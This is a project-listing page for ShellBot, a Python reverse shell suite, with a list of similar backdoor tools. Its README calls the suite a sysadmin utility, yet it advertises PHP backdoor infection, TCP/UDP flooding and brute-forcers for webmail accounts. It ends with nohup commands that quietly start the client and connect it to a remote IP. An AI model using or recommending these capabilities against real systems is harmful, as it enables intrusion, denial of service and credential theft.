All Projects → sayak-brm → ShellBot

sayak-brm / ShellBot

Licence: MIT License
An advanced reverse shell written in Python3.

Programming Languages

python
139335 projects - #7 most used programming language
PHP
23972 projects - #3 most used programming language
shell
77523 projects
Dockerfile
14818 projects

Projects that are alternatives of or similar to ShellBot

reverse-ssh
Statically-linked ssh server with reverse shell functionality for CTFs and such
Stars: ✭ 548 (+2640%)
Mutual labels:  backdoor, reverse-shell, remote-shell
YAPS
Yet Another PHP Shell - The most complete PHP reverse shell
Stars: ✭ 35 (+75%)
Mutual labels:  backdoor, reverse-shell
shell
Python 3 Reverse Shell
Stars: ✭ 22 (+10%)
Mutual labels:  backdoor, reverse-shell
Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Stars: ✭ 6,737 (+33585%)
Mutual labels:  backdoor, reverse-shell
Androrat
A Simple android remote administration tool using sockets. It uses java on the client side and python on the server side
Stars: ✭ 187 (+835%)
Mutual labels:  backdoor, reverse-shell
Tinkerershell
A simple python reverse shell written just for fun.
Stars: ✭ 62 (+210%)
Mutual labels:  backdoor, reverse-shell
MsfMania
Python AV Evasion Tools
Stars: ✭ 388 (+1840%)
Mutual labels:  backdoor, reverse-shell
Rspet
RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
Stars: ✭ 251 (+1155%)
Mutual labels:  backdoor, reverse-shell
Evilosx
An evil RAT (Remote Administration Tool) for macOS / OS X.
Stars: ✭ 1,826 (+9030%)
Mutual labels:  backdoor, reverse-shell
Thoron
Thoron Framework is a Linux post-exploitation framework that exploits Linux TCP vulnerability to provide a shell-like connection. Thoron Framework has the ability to create simple payloads to provide Linux TCP attack.
Stars: ✭ 87 (+335%)
Mutual labels:  backdoor, reverse-shell
Betterbackdoor
A backdoor with a multitude of features.
Stars: ✭ 195 (+875%)
Mutual labels:  backdoor, reverse-shell
Ghost
Ghost Framework is an Android post-exploitation framework that exploits the Android Debug Bridge to remotely access an Android device.
Stars: ✭ 1,934 (+9570%)
Mutual labels:  backdoor, remote-shell
uberscan
Security program for recovering passwords and pen-testing servers, routers and IoT devices using brute-force password attacks.
Stars: ✭ 31 (+55%)
Mutual labels:  brute-force-attacks
diwa
A Deliberately Insecure Web Application
Stars: ✭ 32 (+60%)
Mutual labels:  brute-force-attacks
BFSG
BFSG - BruteForce String Generator 😾
Stars: ✭ 16 (-20%)
Mutual labels:  brute-force-attacks
rconn
rconn is a multiplatform program for creating generic reverse connections. Lets you consume services that are behind firewall or NAT without opening ports or port-forwarding.
Stars: ✭ 231 (+1055%)
Mutual labels:  reverse-shell
Shelly
Automatic Reverse Shell Generator
Stars: ✭ 38 (+90%)
Mutual labels:  reverse-shell
shellbin
The source code of https://rshell.dev
Stars: ✭ 22 (+10%)
Mutual labels:  reverse-shell
YouTube-Tutorials--Italian
📂 Source Code for (some of) the Programming Tutorials from my Italian YouTube Channel and website ProgrammareInPython.it. This is just a small portion of the content: please visit the website for more.
Stars: ✭ 28 (+40%)
Mutual labels:  reverse-shell
Offensive-Reverse-Shell-Cheat-Sheet
Offensive Reverse Shell (Cheat Sheet)
Stars: ✭ 138 (+590%)
Mutual labels:  reverse-shell

ShellBot

FOSSA Status

This project may be deprecated soon!

I am currently coding another reverse shell utility based on the principles of this project, and will replace this utility when completed. Find out more and contribute to the developement here.


ShellBot is a cross-platform Remote Shell Suite where the Server can be managed by 1 Controller at a time.

A server can accept several clients at once, and relay a chosen client's shell to the controller.

This makes it easy for an SysAdmin to manage several computers with minimal setup in an internal network.

The ShellBot suite is designed in such a way that it will not stop till a connection is achieved. All errors are handled internally and in case of a crash, the program automatically restarts.


Features:

Server:

  1. Can handle multiple connections all at once.
  2. The Controller’s connection requires a plain text password, it’s not the best security, but at-least it is better than nothing. Will be improved on in future revisions.
  3. Kicks the Controller after 5 mins. (As the Server only accepts 1 controller at a time). TODO: Make it 5 minutes after inactivity.

Client:

  1. Infected PHP Backdooring Function. (Linux Only)
  2. TCP Flood.
  3. UDP Flood.
  4. Gmail Bruteforcer. (Workaround Gmail's SMTP login)
  5. MS Live Bruteforcer.
  6. Yahoo Bruteforcer.
  7. AOL Bruteforce.
  8. Custome SMTP Bruteforcer. If found, the password will be saved as "password.txt" on the client.
  9. OTA Updating.
  10. Hardened Shell: Handles No Output, Wrong, Interactive and Infinite commands will result in losing the shell.
  11. Can handle multiple commands separated by semi-colon (;).
  12. Never closes and is always trying to connect to the Server.
  13. Can handle almost any non-interactive command properly.
  14. Uses very less resources.
  15. Can be packaged into executables with tools like pyInstaller.

Controller:

  1. Handles KeyboardInterrupts, empty commands, etc. perfectly.
  2. Easy user interface.

Note: When trying to start the client through SSH, Terminal or any other interactive shell, it is advised to start the client in another process. This can be done in Linux with nohup.

Example:

nohup python3 client.py 15.48.158.15 1567 > /dev/null &

nohup python3 client.py 15.48.158.15 1567 > /dev/null 2>&1 &

License

FOSSA Status

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].